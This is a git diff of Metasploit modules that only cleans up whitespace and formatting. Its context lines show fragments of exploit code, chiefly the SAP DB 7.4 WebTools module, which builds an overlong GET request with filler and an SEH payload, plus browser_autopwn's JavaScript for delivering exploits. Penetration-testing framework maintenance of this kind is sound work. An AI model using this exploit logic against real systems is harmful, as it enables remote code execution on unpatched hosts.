diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb
index 9ca6c4d1e4..c8f065a079 100644
--- a/modules/auxiliary/server/browser_autopwn.rb
+++ b/modules/auxiliary/server/browser_autopwn.rb
@@ -696,7 +696,7 @@ class Metasploit3 < Msf::Auxiliary
 				opts['Symbols']['Methods'].push("#{func_name}")
 			end
 		}
-		js << "var noscript_exploits = \"" 
+		js << "var noscript_exploits = \""
 		js << Rex::Text.to_hex(build_noscript_html(cli, request), "%")
 		js << "\";"
 		js << 'noscript_div = document.createElement("div");'
diff --git a/modules/auxiliary/test/ftp_data.rb b/modules/auxiliary/test/ftp_data.rb
index 5408a3e1c7..a2da652237 100644
--- a/modules/auxiliary/test/ftp_data.rb
+++ b/modules/auxiliary/test/ftp_data.rb
@@ -23,8 +23,8 @@ class Metasploit3 < Msf::Auxiliary
 			'Author'	      => [ 'Thomas Ring', 'jduck' ],
 			'License'      => MSF_LICENSE
 		)
-	
-	
+
+
 		register_options(
 			[
 				OptString.new('UPLOADDIR', [ true,  "The directory to use for the upload test", '/incoming' ])
diff --git a/modules/exploits/windows/browser/ms06_067_keyframe.rb b/modules/exploits/windows/browser/ms06_067_keyframe.rb
index 3e6095f5fd..a866310278 100644
--- a/modules/exploits/windows/browser/ms06_067_keyframe.rb
+++ b/modules/exploits/windows/browser/ms06_067_keyframe.rb
@@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote
 	#
 	include Msf::Exploit::Remote::HttpServer::HTML
 
-	
+
 	#
 	# Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
 	#
diff --git a/modules/exploits/windows/http/sapdb_webtools.rb b/modules/exploits/windows/http/sapdb_webtools.rb
index 6a03e5eb47..e753e819aa 100644
--- a/modules/exploits/windows/http/sapdb_webtools.rb
+++ b/modules/exploits/windows/http/sapdb_webtools.rb
@@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote
 			'Description'    => %q{
 					This module exploits a stack buffer overflow in SAP DB 7.4 WebTools.
 				By sending an overly long GET request, it may be possible for
-				an attacker to execute arbitrary code. 
+				an attacker to execute arbitrary code.
 			},
 			'Author'         => [ 'MC' ],
 			'License'        => MSF_LICENSE,
@@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote
 					'Space'    => 850,
 					'BadChars' => "\x00",
 					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
-					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
+					'EncoderType'    => Msf::Encoder::Type::AlphanumUpper,
 					'EncoderOptions' =>
 						{
 							'BufferRegister' => 'ECX',
@@ -67,15 +67,16 @@ class Metasploit3 < Msf::Exploit::Remote
 
 		filler = rand_text_alphanumeric(20774)
 		seh = generate_seh_payload(target.ret)
-		
+
 		sploit = filler + seh + rand_text_alphanumeric(3000)
 
 		print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)
 
-		res = send_request_raw({
-			'uri'   => '/webdbm',
-			'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit
-		}, 5)
+		res = send_request_raw(
+			{
+				'uri'   => '/webdbm',
+				'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit
+			}, 5)
 
 		handler